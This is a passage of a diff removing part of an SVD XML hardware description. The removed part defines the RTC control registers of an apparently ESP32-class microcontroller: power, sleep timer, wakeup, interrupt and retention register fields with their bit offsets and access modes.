-              <name>BBPLL_I2C_FORCE_PD</name>
-              <description>BB_PLL _I2C force power down</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BBPLL_I2C_FORCE_PU</name>
-              <description>BB_PLL_I2C force power up</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BBPLL_FORCE_PD</name>
-              <description>BB_PLL force power down</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BBPLL_FORCE_PU</name>
-              <description>BB_PLL force power up</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_FORCE_PD</name>
-              <description>crystall force power down</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_FORCE_PU</name>
-              <description>crystall force power up</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_SLEEP_FOLW_8M</name>
-              <description>BIAS_SLEEP follow CK8M</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_FORCE_SLEEP</name>
-              <description>BIAS_SLEEP force sleep</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_FORCE_NOSLEEP</name>
-              <description>BIAS_SLEEP force no sleep</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_I2C_FOLW_8M</name>
-              <description>BIAS_I2C follow CK8M</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_I2C_FORCE_PD</name>
-              <description>BIAS_I2C force power down</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_I2C_FORCE_PU</name>
-              <description>BIAS_I2C force power up</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_CORE_FOLW_8M</name>
-              <description>BIAS_CORE follow CK8M</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_CORE_FORCE_PD</name>
-              <description>BIAS_CORE force power down</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BIAS_CORE_FORCE_PU</name>
-              <description>BIAS_CORE force power up</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_FORCE_ISO</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLL_FORCE_ISO</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ANALOG_FORCE_ISO</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_FORCE_NOISO</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLL_FORCE_NOISO</name>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ANALOG_FORCE_NOISO</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_RST</name>
-              <description>digital wrap force reset in deep sleep</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_FORCE_NORST</name>
-              <description>digital core force no reset in deep sleep</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SW_SYS_RST</name>
-              <description>SW system reset</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLP_TIMER0</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_VAL_LO</name>
-              <description>RTC sleep timer low 32 bits</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLP_TIMER1</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_VAL_HI</name>
-              <description>RTC sleep timer high 16 bits</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAIN_TIMER_ALARM_EN</name>
-              <description>timer alarm enable bit</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIME_UPDATE</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME_VALID</name>
-              <description>To indicate the register is updated</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_UPDATE</name>
-              <description>Set 1: to update register with RTC timer</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIME0</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME_LO</name>
-              <description>RTC timer low 32 bits</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIME1</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME_HI</name>
-              <description>RTC timer high 16 bits</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATE0</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00300000</resetValue>
-          <fields>
-            <field>
-              <name>TOUCH_WAKEUP_FORCE_EN</name>
-              <description>touch controller force wake up</description>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ULP_CP_WAKEUP_FORCE_EN</name>
-              <description>ULP-coprocessor force wake up</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APB2RTC_BRIDGE_SEL</name>
-              <description>1: APB to RTC using bridge   0: APB to RTC using sync</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_SLP_TIMER_EN</name>
-              <description>touch timer enable bit</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ULP_CP_SLP_TIMER_EN</name>
-              <description>ULP-coprocessor timer enable bit</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_ACTIVE_IND</name>
-              <description>SDIO active indication</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLP_WAKEUP</name>
-              <description>sleep wakeup bit</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_REJECT</name>
-              <description>sleep reject bit</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLEEP_EN</name>
-              <description>sleep enable bit</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER1</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x28140403</resetValue>
-          <fields>
-            <field>
-              <name>CPU_STALL_EN</name>
-              <description>CPU stall enable bit</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CPU_STALL_WAIT</name>
-              <description>CPU stall wait cycles in fast_clk_rtc</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CK8M_WAIT</name>
-              <description>CK8M wait cycles in slow_clk_rtc</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_BUF_WAIT</name>
-              <description>XTAL wait cycles in slow_clk_rtc</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLL_BUF_WAIT</name>
-              <description>PLL wait cycles in slow_clk_rtc</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER2</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01080000</resetValue>
-          <fields>
-            <field>
-              <name>ULPCP_TOUCH_START_WAIT</name>
-              <description>wait cycles in slow_clk_rtc before ULP-coprocessor / touch controller start to work</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN_TIME_CK8M_OFF</name>
-              <description>minimal cycles in slow_clk_rtc for CK8M in power down state</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER3</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x14160A08</resetValue>
-          <fields>
-            <field>
-              <name>WIFI_WAIT_TIMER</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WIFI_POWERUP_TIMER</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM_RAM_WAIT_TIMER</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ROM_RAM_POWERUP_TIMER</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER4</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x10200A08</resetValue>
-          <fields>
-            <field>
-              <name>WAIT_TIMER</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>POWERUP_TIMER</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_WAIT_TIMER</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DG_WRAP_POWERUP_TIMER</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TIMER5</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x12148001</resetValue>
-          <fields>
-            <field>
-              <name>ULP_CP_SUBTIMER_PREDIV</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN_SLP_VAL</name>
-              <description>minimal sleep cycles in slow_clk_rtc</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTCMEM_WAIT_TIMER</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTCMEM_POWERUP_TIMER</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>7</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ANA_CONF</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00800000</resetValue>
-          <fields>
-            <field>
-              <name>PLLA_FORCE_PD</name>
-              <description>PLLA force power down</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLLA_FORCE_PU</name>
-              <description>PLLA force power up</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BBPLL_CAL_SLP_START</name>
-              <description>start BBPLL calibration during sleep</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PVTMON_PU</name>
-              <description>1: PVTMON power up   otherwise power down</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TXRF_I2C_PU</name>
-              <description>1: TXRF_I2C power up   otherwise power down</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RFRX_PBUS_PU</name>
-              <description>1: RFRX_PBUS power up   otherwise power down</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CKGEN_I2C_PU</name>
-              <description>1: CKGEN_I2C power up   otherwise power down</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLL_I2C_PU</name>
-              <description>1: PLL_I2C power up   otherwise power down</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RESET_STATE</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00003000</resetValue>
-          <fields>
-            <field>
-              <name>RESET_CAUSE_PROCPU</name>
-              <description>reset cause of PRO CPU</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RESET_CAUSE_APPCPU</name>
-              <description>reset cause of APP CPU</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APPCPU_STAT_VECTOR_SEL</name>
-              <description>APP CPU state vector sel</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PROCPU_STAT_VECTOR_SEL</name>
-              <description>PRO CPU state vector sel</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WAKEUP_STATE</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00006000</resetValue>
-          <fields>
-            <field>
-              <name>WAKEUP_CAUSE</name>
-              <description>wakeup cause</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>WAKEUP_ENA</name>
-              <description>wakeup enable bitmap</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>GPIO_WAKEUP_FILTER</name>
-              <description>enable filter for gpio wakeup event</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_WAKEUP_INT_ENA</name>
-              <description>enable sleep wakeup interrupt</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_REJECT_INT_ENA</name>
-              <description>enable sleep reject interrupt</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_IDLE_INT_ENA</name>
-              <description>enable SDIO idle interrupt</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WDT_INT_ENA</name>
-              <description>enable RTC WDT interrupt</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TIME_VALID_INT_ENA</name>
-              <description>enable RTC time valid interrupt</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ULP_CP_INT_ENA</name>
-              <description>enable ULP-coprocessor interrupt</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_INT_ENA</name>
-              <description>enable touch interrupt</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>BROWN_OUT_INT_ENA</name>
-              <description>enable brown out interrupt</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAIN_TIMER_INT_ENA</name>
-              <description>enable RTC main timer interrupt</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_RAW</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_WAKEUP_INT_RAW</name>
-              <description>sleep wakeup interrupt raw</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLP_REJECT_INT_RAW</name>
-              <description>sleep reject interrupt raw</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO_IDLE_INT_RAW</name>
-              <description>SDIO idle interrupt raw</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_RAW</name>
-              <description>RTC WDT interrupt raw</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_VALID_INT_RAW</name>
-              <description>RTC time valid interrupt raw</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ULP_CP_INT_RAW</name>
-              <description>ULP-coprocessor interrupt raw</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_INT_RAW</name>
-              <description>touch interrupt raw</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BROWN_OUT_INT_RAW</name>
-              <description>brown out interrupt raw</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MAIN_TIMER_INT_RAW</name>
-              <description>RTC main timer interrupt raw</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_WAKEUP_INT_ST</name>
-              <description>sleep wakeup interrupt state</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLP_REJECT_INT_ST</name>
-              <description>sleep reject interrupt state</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO_IDLE_INT_ST</name>
-              <description>SDIO idle interrupt state</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_ST</name>
-              <description>RTC WDT interrupt state</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_VALID_INT_ST</name>
-              <description>RTC time valid interrupt state</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SAR_INT_ST</name>
-              <description>ULP-coprocessor interrupt state</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TOUCH_INT_ST</name>
-              <description>touch interrupt state</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BROWN_OUT_INT_ST</name>
-              <description>brown out interrupt state</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MAIN_TIMER_INT_ST</name>
-              <description>RTC main timer interrupt state</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLP_WAKEUP_INT_CLR</name>
-              <description>Clear sleep wakeup interrupt state</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLP_REJECT_INT_CLR</name>
-              <description>Clear sleep reject interrupt state</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SDIO_IDLE_INT_CLR</name>
-              <description>Clear SDIO idle interrupt state</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>WDT_INT_CLR</name>
-              <description>Clear RTC WDT interrupt state</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TIME_VALID_INT_CLR</name>
-              <description>Clear RTC time valid interrupt state</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SAR_INT_CLR</name>
-              <description>Clear ULP-coprocessor interrupt state</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>TOUCH_INT_CLR</name>
-              <description>Clear touch interrupt state</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>BROWN_OUT_INT_CLR</name>
-              <description>Clear brown out interrupt state</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>MAIN_TIMER_INT_CLR</name>
-              <description>Clear RTC main timer interrupt state</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE0</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH0</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE1</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH1</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE2</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH2</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STORE3</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCRATCH3</name>
-              <description>32-bit general purpose retention register</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT_XTL_CONF</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>XTL_EXT_CTR_LV</name>
-              <description>0: power down XTAL at high level  1: power down XTAL at low level</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XTL_EXT_CTR_EN</name>
-              <description>enable control XTAL by external pads</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EXT_WAKEUP_CONF</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>EXT_WAKEUP0_LV</name>
-              <description>0: external wakeup at low level  1: external wakeup at high level</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EXT_WAKEUP1_LV</name>
-              <description>0: external wakeup at low level  1: external wakeup at high level</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLP_REJECT_CONF</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>GPIO_REJECT_EN</name>
-              <description>enable GPIO reject</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_REJECT_EN</name>
-              <description>enable SDIO reject</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LIGHT_SLP_REJECT_EN</name>
-              <description>enable reject for light sleep</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEEP_SLP_REJECT_EN</name>
-              <description>enable reject for deep sleep</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>REJECT_CAUSE</name>
-              <description>sleep reject cause</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_PERIOD_CONF</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPUSEL_CONF</name>
-              <description>CPU sel option</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CPUPERIOD_SEL</name>
-              <description>CPU period sel</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_ACT_CONF</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDIO_ACT_DNUM</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLK_CONF</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00002210</resetValue>
-          <fields>
-            <field>
-              <name>CK8M_DIV</name>
